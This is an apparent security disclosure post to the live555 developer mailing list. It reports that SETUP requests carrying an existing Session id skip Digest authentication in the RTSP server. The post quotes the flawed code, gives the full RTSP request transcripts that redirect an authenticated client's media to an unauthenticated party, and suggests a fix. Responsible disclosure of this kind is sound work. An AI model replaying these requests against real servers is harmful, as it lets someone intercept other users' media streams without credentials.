[Live-devel] SETUP with an existing Session id bypasses authentication

Qingyang Zhou qingyang.zhou at uwaterloo.ca
Mon Jul 6 11:22:08 PDT 2026


Hello,

When the RTSP server is built with a UserAuthenticationDatabase (Digest auth
required), a SETUP request that carries an existing "Session:" header is
processed WITHOUT authentication. Since SETUP sets the media destination, a
party that only knows a session id can -- with no credentials -- reconfigure
another (authenticated) client's session and make the server deliver that
client's media to a destination of the attacker's choosing.

Tested against liveMedia version 2026.07.04 (Linux / x86-64), stock library.

Affected code
-------------
In RTSPServer::RTSPClientConnection::handleRequestBytes(), the SETUP handler
authenticates only when the request has NO "Session:" header (the new-session
case):

    } else if (strcmp(cmdName, "SETUP") == 0) {
      Boolean areAuthenticated = True;
      if (!requestIncludedSessionId) {
        ...
        if (authenticationOK("SETUP", urlTotalSuffix, ...)) {
          clientSession = ... createNewClientSessionWithId();
        } else {
          areAuthenticated = False;
        }
      }
      if (clientSession != NULL) {
        clientSession->handleCmd_SETUP(...);   // reached with NO auth when a
                                               // Session: id is present
      }

A SETUP that includes a "Session:" id skips authenticationOK() entirely and
goes straight to handleCmd_SETUP() -> getStreamParameters(), which overwrites
the session's destination (address + ports).

This is inconsistent with the other within-session commands, which are
authenticated. handleCmd_PLAY() documents the exact threat that re-SETUP
misses:

    // If we're authenticating, then check here, to protect against use of a
    // stolen session id:
    if (!ourClientConnection->authenticationOK("PLAY", rtspURL, fullRequestStr)) return;

So PLAY is explicitly protected against a stolen session id, but a re-SETUP --
which is what controls where the media is sent -- is not.

Reproduction
------------
The server:

    UserAuthenticationDatabase* auth = new UserAuthenticationDatabase("bug6");
    auth->addUserRecord("user", "pass");
    RTSPServer* s = RTSPServer::createNew(*env, port, auth);
    // one "stream" with a WAVAudioFileServerMediaSubsession

Two separate TCP connections:

Connection A -- legitimate, authenticated client:

    A -> S:  SETUP rtsp://host/stream/track1 RTSP/1.0
             CSeq: 1
             Transport: RTP/AVP/UDP;unicast;client_port=30002-30003
    S -> A:  RTSP/1.0 401 Unauthorized
             WWW-Authenticate: Digest realm="bug6", nonce="..."

    A -> S:  SETUP rtsp://host/stream/track1 RTSP/1.0
             CSeq: 2
             Authorization: Digest username="user", realm="bug6", nonce="...",
                            uri="rtsp://host/stream/track1", response="..."
             Transport: RTP/AVP/UDP;unicast;client_port=30002-30003
    S -> A:  RTSP/1.0 200 OK
             Session: EF73F9BB

Connection B -- unauthenticated, only knows the session id:

    B -> S:  SETUP rtsp://host/stream/track1 RTSP/1.0
             CSeq: 1
             Session: EF73F9BB
             Transport: RTP/AVP/UDP;unicast;client_port=30004-30005
    S -> B:  RTSP/1.0 200 OK          <-- accepted, no Authorization header

The authenticated client then plays normally:

    A -> S:  PLAY rtsp://host/stream RTSP/1.0
             CSeq: 3
             Session: EF73F9BB
             Authorization: Digest ...
    S -> A:  RTSP/1.0 200 OK

Observed result: every RTP/RTCP packet is delivered to connection B's ports
(30004/30005); connection A's ports (30002/30003) receive nothing:

    udp packets: owner_rtp=0 owner_rtcp=0 attacker_rtp=16 attacker_rtcp=2

i.e. the authenticated client's own PLAY delivered the entire media stream to
the unauthenticated party. (The session id above, EF73F9BB, is server-assigned
and differs per run.)

Impact and preconditions
------------------------
The attacker must know the session id. The session id is sent in cleartext in
every RTSP request and response, so any on-path observer of the control channel
obtains it, and no credentials are needed. Because getStreamParameters() uses
the address of the connection that sent the SETUP as the destination, on a real
network the media is redirected to the attacker's own host/port -- not merely a
different local port as in the loopback PoC. For the media-delivery path this
defeats the Digest authentication the server relies on, and which is explicitly
enforced for PLAY against this same "stolen session id" case.

Suggested fix
-------------
Authenticate SETUP requests that carry an existing "Session:" id as well -- e.g.
call authenticationOK("SETUP", ...) before dispatching to handleCmd_SETUP() in
the requestIncludedSessionId branch (or, more simply, authenticate every SETUP).
A legitimate client already holds credentials and re-authenticates transparently
under Digest, so this only closes the unauthenticated reconfiguration path and
makes SETUP consistent with PLAY / PAUSE / TEARDOWN.

The PoC (server.cc + client.py) is ready and reproduces the transcript above in
a single run against the stock library. I'm happy to provide any further detail
or test a patch. If you would like to assign a CVE for this, I can also supply
whatever information you need for the request and coordinate on disclosure
timing.

Best regards,
Zhou Qingyang
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.live555.com/pipermail/live-devel/attachments/20260706/a1863bae/attachment-0001.htm>


More information about the live-devel mailing list